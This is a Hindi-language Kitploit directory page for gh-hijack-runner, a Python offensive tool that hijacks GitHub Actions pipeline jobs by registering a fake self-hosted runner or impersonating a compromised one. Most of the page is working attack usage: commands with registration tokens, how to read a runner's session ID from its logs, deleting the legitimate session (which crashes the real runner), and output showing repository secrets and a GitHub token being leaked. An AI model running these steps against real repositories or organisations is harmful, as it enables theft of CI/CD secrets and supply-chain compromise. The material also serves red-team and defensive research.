Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
gh-hijack-runner — नकली GitHub रनर बनाकर पाइपलाइन जॉब्स को हाईजैक करने और CI/CD सीक्रेट्स को लीक करने के लिए एक पायथन स्क्रिप्ट। | Kitploit
उपकरण/GitHubGitHub/synacktiv/gh-hijack-runner
शोषणडेटा निष्कासनपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षाआपूर्ति श्रृंखला सुरक्षारेड टीमिंग
GitHubsynacktiv/gh-hijack-runner

gh-hijack-runner

नकली GitHub रनर बनाकर पाइपलाइन जॉब्स को हाईजैक करने और CI/CD सीक्रेट्स को लीक करने के लिए एक पायथन स्क्रिप्ट।

रिपॉजिटरी देखें
33531 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

gh-hijack-runner

एक पायथन स्क्रिप्ट जो एक नकली GitHub रनर बनाती है और CI/CD सीक्रेट लीक करने के लिए पाइपलाइन जॉब्स का अपहरण करती है।

अधिक जानकारी के लिए निम्नलिखित ब्लॉगपोस्ट देखें: https://www.synacktiv.com/publications/hijacking-github-runners-to-compromise-the-organization

शोषण

यदि आप रजिस्ट्रेशन टोकन प्राप्त कर सकते हैं या किसी सेल्फ-होस्टेड GitHub रनर पर रिमोट कोड एक्ज़ीक्यूशन प्राप्त कर सकते हैं, तो आप GitHub रनर बना सकते हैं या उसे अपने कब्जे में ले सकते हैं। इससे आप उस रनर को दिए गए सभी सीक्रेट तक पहुँच प्राप्त कर सकेंगे।

रजिस्ट्रेशन टोकन का उपयोग करके, आप ubuntu-latest लेबल वाला एक रनर पंजीकृत कर सकते हैं, जिससे उन जॉब्स तक पहुँच मिलती है जो मूल रूप से GitHub-प्रावधानित रनर्स के लिए थीं। यह आपको इस विधि का उपयोग करके किसी भी वर्कफ़्लो से समझौता करने की अनुमति देता है।

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest
[+] Session ID: b66b76a8-e7db-4a14-a2ea-207b1c8cb94d
[+] AES key: BTIk+FT2hRb[...]HN1kkg==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY21GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

स्थापना

root@kitploit:~
$ pip install -r requirements.txt 

उपयोग

रजिस्ट्रेशन टोकन से

यदि आप किसी रेपो या संगठन के लिए सेल्फ-होस्टेड रनर पंजीकृत करने हेतु रजिस्ट्रेशन टोकन प्राप्त करने में सफल हो जाते हैं, तो आप इस कमांड से नकली GitHub रनर पंजीकृत कर सकते हैं:

root@kitploit:~
$ gh-hijack-runner.py --registration-token AOTAA3QWE1A5QB6JFECOKQDGEVOVC --url https://github.com/syncicd/CICD --labels ubuntu-latest

यह संगठन या रिपॉज़िटरी का रजिस्ट्रेशन टोकन हो सकता है।

किसी मौजूदा GitHub रनर के क्रेडेंशियल से

सेल्फ-होस्टेड रनर पर मनमाना कोड निष्पादन (arbitrary code execution) के साथ, समझौता किए गए रनर की पहचान धारण करने के लिए आपको तीन फ़ाइलें बाहर निकालनी होंगी:

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# pwd
/actions-runner
root@9f8f6f1fdfa6:/actions-runner# ll
-rw-r--r-- 1 root   root     266 Apr 21 12:27 .credentials
-rw------- 1 root   root    1667 Apr 21 12:27 .credentials_rsaparams
-rw-r--r-- 1 root   root     325 Apr 21 12:27 .runner
[...]

जॉब्स प्राप्त करने के लिए, रनर GitHub के साथ एक सत्र (session) स्थापित करेगा। प्रत्येक रनर केवल एक सत्र बनाए रख सकता है। एक नया सत्र बनाने के लिए, आपको वैध रनर द्वारा स्थापित वर्तमान सत्र को हटाना होगा। सत्र आईडी यहाँ पाई जा सकती है:

root@kitploit:~
root@9f8f6f1fdfa6:/actions-runner# cat _diag/* | grep -i session
[...]
[2024-04-21 18:03:46Z INFO MessageListener] Message '5' received from session 'aab007e0-eedd-4c1b-96b4-a7c2c128c31a'.

/!\ वर्तमान सत्र को हटाने से वैध रनर क्रैश हो जाएगा /!\

फिर, आप वर्तमान सत्र को हटा सकते हैं:

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json --delete-session-id aab007e0-eedd-4c1b-96b4-a7c2c128c31a
[+] Session aab007e0-eedd-4c1b-96b4-a7c2c128c31a deleted.

अंत में आप इस रनर का अपहरण कर सकते हैं:

root@kitploit:~
$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json                                                         
[+] Session ID: 3c88c6f7-5764-4121-b9bf-2536ee2539b7
[+] AES key: eLN3rhf3D[...]UHewLw==
[+] New Job: init (messageId=2)
- REPO_SECRET: repo secret
- SUPER_SECRET: super secret password
- system.github.token: ghs_RqDY23GqZ0OYvM8ImVpAB0B9o7TBQR4Dq2HC

ध्यान दें कि एफेमरल (ephemeral) सेल्फ-होस्टेड रनर के लिए यह काम नहीं करेगा।

सहायता

root@kitploit:~
$ gh-hijack-runner.py --help
Hijack GitHub runners                

Usage:
    gh-hijack-runner.py [options] --registration-token <token> --url <url> [--labels <labels> --ephemeral --rsa-params <rsa> --credentials <credentials> --runner <runner>]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> [(--session-id <session> --aes-key <key>)]
    gh-hijack-runner.py [options] --rsa-params <rsa> --credentials <credentials> --runner <runner> --delete-session-id <session>
    

Options:
    -h --help                               Show this screen.
    --version                               Show version.
    -v, --verbose                           Verbose mode
    --output <folder>                       Save data to output file
    --runer-name <name>                     Runner name
    --runner-group <name>                   Runner group name
    --last-Message-id <id>                  Last message ID

Args:
    --registration-token <token>            Token used to register a runner
    --url <url>                             Full repository or org URL
    --rsa-params <rsa>                      Path to .credentials_rsaparams file
    --credentials <credentials>             Path to .credentials file
    --runner <runner>                       Path to .runner file
    --session-id <session>                  Already running session id
    --aes-key <key>                         Base64 encoded AES key associated with a session id
    --labels <labels>                       Labels used for registration (ubuntu-latest,customrunner)
    --ephemeral                             Create ephemeral runner
    --delete-session-id <session>           Delete session. Warning: It will crash the related GitHub runner
    

Examples:
    $ gh-hijack-runner.py --registration-token AOTAA3TOI7SACAVKBDWEQN3F5IEO2 --url https://github.com/org/repo
    $ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.json

Author: @hugow

श्रेय

  • @karimpwnz क्रिप्टो के लिए
  • @0xn3va सत्र हटाने भाग के लिए
  • @frichette_n GitLab पर मूल विचार के लिए
टूल डाउनलोड करें